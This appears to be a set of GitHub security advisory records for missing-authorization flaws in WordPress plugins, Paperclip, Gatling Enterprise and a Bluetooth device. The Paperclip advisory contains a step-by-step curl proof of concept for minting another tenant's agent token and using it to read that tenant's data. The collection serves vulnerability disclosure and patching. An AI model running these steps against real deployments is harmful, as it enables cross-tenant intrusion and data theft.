CWE-862

{
  "affected": [],
  "aliases": [
    "CVE-2025-31628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T21:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in SlicedInvoices Sliced Invoices. This issue affects Sliced Invoices: from n/a through 3.9.4.",
  "id": "GHSA-47jh-4rfj-2mwq",
  "modified": "2026-04-01T18:34:27Z",
  "published": "2025-04-01T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31628"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/sliced-invoices/vulnerability/wordpress-sliced-invoices-plugin-3-9-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-31921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T17:16:58Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Devteam HaywoodTech Product Rearrange for WooCommerce products-rearrange-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Product Rearrange for WooCommerce: from n/a through \u003c= 1.2.2.",
  "id": "GHSA-47mh-5whc-8j72",
  "modified": "2026-03-26T21:31:25Z",
  "published": "2026-03-25T18:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31921"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/products-rearrange-woocommerce/vulnerability/wordpress-product-rearrange-for-woocommerce-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-2899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T04:15:57Z",
    "severity": "MODERATE"
  },
  "details": "The Fluent Forms Pro Add On Pack plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 6.1.17. This is due to the `deleteFile()` method in the `Uploader` class lacking nonce verification and capability checks. The AJAX action is registered via `addPublicAjaxAction()` which creates both `wp_ajax_` and `wp_ajax_nopriv_` hooks. This makes it possible for unauthenticated attackers to delete arbitrary WordPress media attachments via the `attachment_id` parameter.\n\nNote: The researcher described file deletion via the `path` parameter using `sanitize_file_name()`, but the actual code uses `Protector::decrypt()` for path-based deletion which prevents exploitation. The vulnerability is exploitable via the `attachment_id` parameter instead.",
  "id": "GHSA-47mx-mh44-vmwj",
  "modified": "2026-03-05T06:30:22Z",
  "published": "2026-03-05T06:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2899"
    },
    {
      "type": "WEB",
      "url": "https://fluentforms.com/docs/changelog/#3-toc-title"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bb036338-abd7-4061-835d-038b765c68a6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-9199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T06:16:58Z",
    "severity": "MODERATE"
  },
  "details": "The Equalize Digital Accessibility Checker \u2013 WCAG, ADA, EAA and Section 508 compliance plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.42.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with author-level access and above, to dismiss, ignore, or restore accessibility audit issue records belonging to posts they are not permitted to edit by supplying an issue from their own post as an authorization token to affect matching issues across the entire site. An Author-level user can exploit this by passing largeBatch=true on a dismiss-issue request referencing one of their own post\u0027s issues, causing the handler to bulk-modify all site-wide accessibility issues sharing the same \u0027object\u0027 value \u2014 including those belonging to administrator-owned posts.",
  "id": "GHSA-47pj-xq28-xxxm",
  "modified": "2026-06-18T06:32:21Z",
  "published": "2026-06-18T06:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9199"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.39.0/includes/classes/class-rest-api.php#L1232"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.39.0/includes/classes/class-rest-api.php#L1247"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.39.0/includes/classes/class-rest-api.php#L349"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.42.0/includes/classes/class-rest-api.php#L1232"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.42.0/includes/classes/class-rest-api.php#L1247"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/accessibility-checker/tags/1.42.0/includes/classes/class-rest-api.php#L349"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3553926%40accessibility-checker\u0026new=3553926%40accessibility-checker\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0e5cc0ce-3785-4240-863e-d1396db6e8ef?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-6985"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-05T22:15:58Z",
    "severity": "MODERATE"
  },
  "details": "The 10Web AI Assistant \u2013 AI content writing assistant plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the install_plugin AJAX action in all versions up to, and including, 1.0.18. This makes it possible for authenticated attackers, with subscriber-level access and above, to install arbitrary plugins that can be used to gain further access to a compromised site.",
  "id": "GHSA-47q6-36gc-6phg",
  "modified": "2026-04-08T18:32:32Z",
  "published": "2024-02-06T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6985"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3027004/ai-assistant-by-10web/trunk/ai-assistant-by-10web.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/229245a5-468d-47b9-8f26-d23d593e91da?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-52866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T00:16:48Z",
    "severity": "HIGH"
  },
  "details": "An attacker within BLE communication range can monopolize the device\u0027s \nonly available BLE connection slot, preventing legitimate users or \napplications from establishing a connection.",
  "id": "GHSA-47r7-422p-6w2p",
  "modified": "2026-06-19T00:31:38Z",
  "published": "2026-06-19T00:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsma-26-169-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.apollopharmacy.in/contact-us"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-26-169-01"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/news/understanding-bluetooth-technology"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.416.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1220",
      "CWE-285",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:48:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent\u0027s `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import \u2192 RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n  res.status(201).json(key);                    // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n  const existing = await getById(id);                 // victim agent\n  ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,                  // \u003c-- victim tenant\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) =\u003e rows[0]);\n\n  return {\n    id: created.id,\n    name: created.name,\n    token,                                            // \u003c-- plaintext returned\n    createdAt: created.createdAt,\n  };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n   configuration \u2014 `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default \u2014 same\n   default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n   agent. In practice this is the normal state of any production paperclip\n   deployment. The attacker needs the victim agent\u0027s ID, which leaks through\n   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n   the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}\u0027\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 \u2014 the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim\u0027s `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n  -H \"Cookie: $MALLORY_SESSION\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"pwnkit\"}\u0027 \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim\u0027s company metadata, issues, approvals,\n\u003e and agent configuration \u2014 none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` \u2192 **201** with plaintext `token` bound to\n  the victim\u0027s `companyId`\n- `GET /api/companies/:victimId` \u2192 **200** full company metadata\n- `GET /api/companies/:victimId/issues` \u2192 **200** issue list\n- `GET /api/companies/:victimId/agents` \u2192 **200** agent list\n- `GET /api/companies/:victimId/approvals` \u2192 **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n  CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n  mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n  the documented multi-user configuration and the default in\n  `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant\u0027s\n  company metadata, issues, approvals, runs, and agent configuration (which\n  includes adapter URLs, model settings, and references to stored secret\n  bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n  that authenticates for every `assertCompanyAccess`-gated agent-scoped\n  mutation in the victim tenant (issue/run updates, self-wakeup with\n  attacker-controlled payloads, adapter execution via the agent\u0027s own\n  adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n  `DELETE` any agent in any company via the sibling `assertBoard`-only\n  handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n  `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n  `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n  chain, but the same root cause (`assertBoard` treated as sufficient where\n  `assertCompanyAccess` is required on a cross-tenant resource, or where\n  `assertInstanceAdmin` is required on an instance-global resource) is\n  present in multiple other handlers. The import fix did not audit sibling\n  routes. This report is an instance of that same class the prior advisory\n  did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);\n  const keyId = req.params.keyId as string;\n  // Look up the key to find its agentId/companyId, then:\n  const key = await svc.getKeyById(keyId);\n  if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n  assertCompanyAccess(req, key.companyId);\n  await svc.revokeKey(keyId);\n  res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` \u2014 the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n  digest `sha256:baa9926e...`, commit `b649bd4`\n  (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n  bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n  against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
  "id": "GHSA-47wq-cj9q-wpmp",
  "modified": "2026-04-16T22:48:32Z",
  "published": "2026-04-16T22:48:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-6703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T07:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The Responsive Blocks \u2013 Page Builder for Blocks \u0026 Patterns plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 2.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify global site-wide plugin configuration options, including toggling custom CSS, disabling blocks, changing layout defaults such as content width, container padding, and container gap, and altering auto-block-recovery behavior.",
  "id": "GHSA-47x2-3wfg-624p",
  "modified": "2026-04-21T09:31:07Z",
  "published": "2026-04-21T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6703"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.2.0/includes/class-responsive-block-editor-addons.php#L1730"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.2.0/includes/class-responsive-block-editor-addons.php#L1814"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.2.0/includes/class-responsive-block-editor-addons.php#L668"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L1730"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L1814"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L668"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3465616"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/187b072d-6314-4ac1-a924-b14324b2fd8d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-51308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-06T15:15:32Z",
    "severity": "MODERATE"
  },
  "details": "In Gatling Enterprise versions below 1.25.0, a low-privileged user that does not hold the role \"admin\" could perform a REST API call on read-only endpoints, allowing him to collect some information, due to missing authorization checks.",
  "id": "GHSA-47xg-jggc-w6c4",
  "modified": "2025-08-06T21:31:39Z",
  "published": "2025-08-06T15:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51308"
    },
    {
      "type": "WEB",
      "url": "https://gatling.io/products"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/blob/main/gatling-enterprise/CVE-2025-51308-broken-access-control.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/tree/main/gatling-enterprise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-4352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-16T10:15:10Z",
    "severity": "HIGH"
  },
  "details": "The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the \u0027get_calendar_materials\u0027 function. The plugin is also vulnerable to SQL Injection via the \u2018year\u2019 parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
  "id": "GHSA-482j-rhmj-w9w6",
  "modified": "2026-04-08T21:32:37Z",
  "published": "2024-05-16T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4352"
    },
    {
      "type": "WEB",
      "url": "https://www.themeum.com/product/tutor-lms"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c647beda-cf73-4372-975f-a8c8ed05217f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}